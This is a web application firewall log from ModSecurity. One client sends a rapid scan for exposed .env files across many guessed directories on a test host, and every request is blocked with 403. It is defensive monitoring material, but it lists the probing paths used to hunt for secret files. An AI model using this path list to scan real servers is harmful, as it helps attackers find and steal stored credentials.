[Thu Feb 26 01:03:18.995139 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjltAAAAAI&quot;]
[Thu Feb 26 01:03:18.995330 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjltAAAAAI&quot;]
[Thu Feb 26 01:03:19.112438 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIGwAAAAQ&quot;]
[Thu Feb 26 01:03:19.112736 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIGwAAAAQ&quot;]
[Thu Feb 26 01:03:19.112930 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/api/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIGwAAAAQ&quot;]
[Thu Feb 26 01:03:19.141617 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHAAAAAQ&quot;]
[Thu Feb 26 01:03:19.141894 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHAAAAAQ&quot;]
[Thu Feb 26 01:03:19.142102 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/backend/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHAAAAAQ&quot;]
[Thu Feb 26 01:03:19.198188 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHQAAAAQ&quot;]
[Thu Feb 26 01:03:19.198546 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHQAAAAQ&quot;]
[Thu Feb 26 01:03:19.198765 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/frontend/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHQAAAAQ&quot;]
[Thu Feb 26 01:03:19.230838 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-collected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHgAAAAQ&quot;]
[Thu Feb 26 01:03:19.231267 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHgAAAAQ&quot;]
[Thu Feb 26 01:03:19.231546 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHgAAAAQ&quot;]
[Thu Feb 26 01:03:19.260355 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHwAAAAQ&quot;]
[Thu Feb 26 01:03:19.260611 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHwAAAAQ&quot;]
[Thu Feb 26 01:03:19.260807 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIHwAAAAQ&quot;]
[Thu Feb 26 01:03:19.296967 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIIAAAAAQ&quot;]
[Thu Feb 26 01:03:19.297239 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIIAAAAAQ&quot;]
[Thu Feb 26 01:03:19.297431 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIIAAAAAQ&quot;]
[Thu Feb 26 01:03:19.325838 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIIQAAAAQ&quot;]
[Thu Feb 26 01:03:19.326108 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIIQAAAAQ&quot;]
[Thu Feb 26 01:03:19.326273 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ-Nxzf0JOOqB-ib2UlIIQAAAAQ&quot;]
[Thu Feb 26 01:03:19.547815 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlwgAAAAI&quot;]
[Thu Feb 26 01:03:19.548069 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlwgAAAAI&quot;]
[Thu Feb 26 01:03:19.548265 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlwgAAAAI&quot;]
[Thu Feb 26 01:03:19.580964 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlwwAAAAI&quot;]
[Thu Feb 26 01:03:19.581225 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlwwAAAAI&quot;]
[Thu Feb 26 01:03:19.581396 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlwwAAAAI&quot;]
[Thu Feb 26 01:03:19.621889 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxAAAAAI&quot;]
[Thu Feb 26 01:03:19.622173 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxAAAAAI&quot;]
[Thu Feb 26 01:03:19.622364 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxAAAAAI&quot;]
[Thu Feb 26 01:03:19.658817 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staticfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ-Nx4Cbt-ue5ARpbmjlxQAAAAI&quot;]
